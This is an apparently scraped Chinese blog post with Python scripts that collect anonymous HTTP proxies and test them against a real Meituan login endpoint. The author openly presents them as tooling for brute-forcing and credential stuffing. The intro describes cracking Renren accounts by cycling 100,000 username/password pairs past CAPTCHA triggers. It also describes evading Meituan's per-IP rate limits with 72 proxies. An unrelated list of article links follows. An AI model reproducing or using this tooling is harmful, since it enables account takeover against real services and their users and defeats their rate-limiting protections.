批量获取及验证HTTP代理的Python脚本


Posted in Python onApril 23, 2017

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
Python 相关文章推荐
Python程序退出方式小结
Dec 09 Python
selenium+python实现自动登录脚本
Apr 22 Python
Python3.5常见内置方法参数用法实例详解
Apr 29 Python
Python2.7版os.path.isdir中文路径返回false的解决方法
Jun 21 Python
libreoffice python 操作word及excel文档的方法
Jul 04 Python
python腾讯语音合成实现过程解析
Aug 01 Python
Python的形参和实参使用方式
Dec 24 Python
Python类中self参数用法详解
Feb 13 Python
如何查看Django ORM执行的SQL语句的实现
Apr 20 Python
Python爬虫工具requests-html使用解析
Apr 29 Python
python利用Excel读取和存储测试数据完成接口自动化教程
Apr 30 Python
python opencv通过4坐标剪裁图片
Jun 05 Python
深入理解python中的select模块
Apr 23 #Python
Python3如何解决字符编码问题详解
Apr 23 #Python
Python制作刷网页流量工具
Apr 23 #Python
Python读取指定目录下指定后缀文件并保存为docx
Apr 23 #Python
正确理解python中的关键字“with”与上下文管理器
Apr 21 #Python
python妙用之编码的转换详解
Apr 21 #Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
You might like
PHP图像处理之imagecreate、imagedestroy函数介绍
2014/11/19 PHP
ThinkPHP路由详解
2015/07/27 PHP
javascript数字时钟示例分享
2014/04/23 Javascript
基于js与flash实现的网站flv视频播放插件代码
2014/10/14 Javascript
JavaScript fontcolor方法入门实例(按照指定的颜色来显示字符串)
2014/10/17 Javascript
JS实现选中当前菜单后高亮显示的导航条效果
2015/10/15 Javascript
angular.JS实现网页禁用调试、复制和剪切
2017/03/31 Javascript
默认浏览器设置及vue自动打开页面的方法
2018/09/21 Javascript
react native 原生模块桥接的简单说明小结
2019/02/26 Javascript
webpack4手动搭建Vue开发环境实现todoList项目的方法
2019/05/16 Javascript
详解vue-cli项目开发/生产环境代理实现跨域请求
2019/07/23 Javascript
JavaScript进阶(四)原型与原型链用法实例分析
2020/05/09 Javascript
在Vue中创建可重用的 Transition的方法
2020/06/02 Javascript
vue使用vant中的checkbox实现全选功能
2020/11/17 Vue.js
[51:17]Mski vs VGJ.S Supermajor小组赛C组 BO3 第三场 6.3
2018/06/04 DOTA
[01:06]DOTA2小知识课堂 Ep.01 TP出门不要忘记帮队友灌瓶哦
2019/12/05 DOTA
12步教你理解Python装饰器
2016/02/25 Python
Tensorflow实现卷积神经网络的详细代码
2018/05/24 Python
Python标准库shutil用法实例详解
2018/08/13 Python
浅谈Python中(&,|)和(and,or)之间的区别
2019/08/07 Python
Python实现微信翻译机器人的方法
2019/08/13 Python
python 下 CMake 安装配置 OPENCV 4.1.1的方法
2019/09/30 Python
python中删除某个元素的方法解析
2019/11/05 Python
Matplotlib scatter绘制散点图的方法实现
2020/01/02 Python
Python实现我的世界小游戏源代码
2021/03/02 Python
利用canvas实现图片压缩的示例代码
2018/07/17 HTML / CSS
美体小铺美国官网:The Body Shop美国
2017/11/10 全球购物
Gina Bacconi官网:吉娜贝康尼连衣裙和礼服
2018/04/24 全球购物
Foot Locker澳洲官网:美国运动服和鞋类零售商
2019/10/11 全球购物
医学生职业规划范文
2014/01/05 职场文书
违反学校规定检讨书
2014/01/18 职场文书
一年级语文教学反思
2014/02/13 职场文书
函授生自我鉴定
2014/03/25 职场文书
新闻传媒系求职信范文
2014/04/19 职场文书
管理工程专业求职信
2014/08/10 职场文书
python+opencv实现视频抽帧示例代码
2021/06/11 Python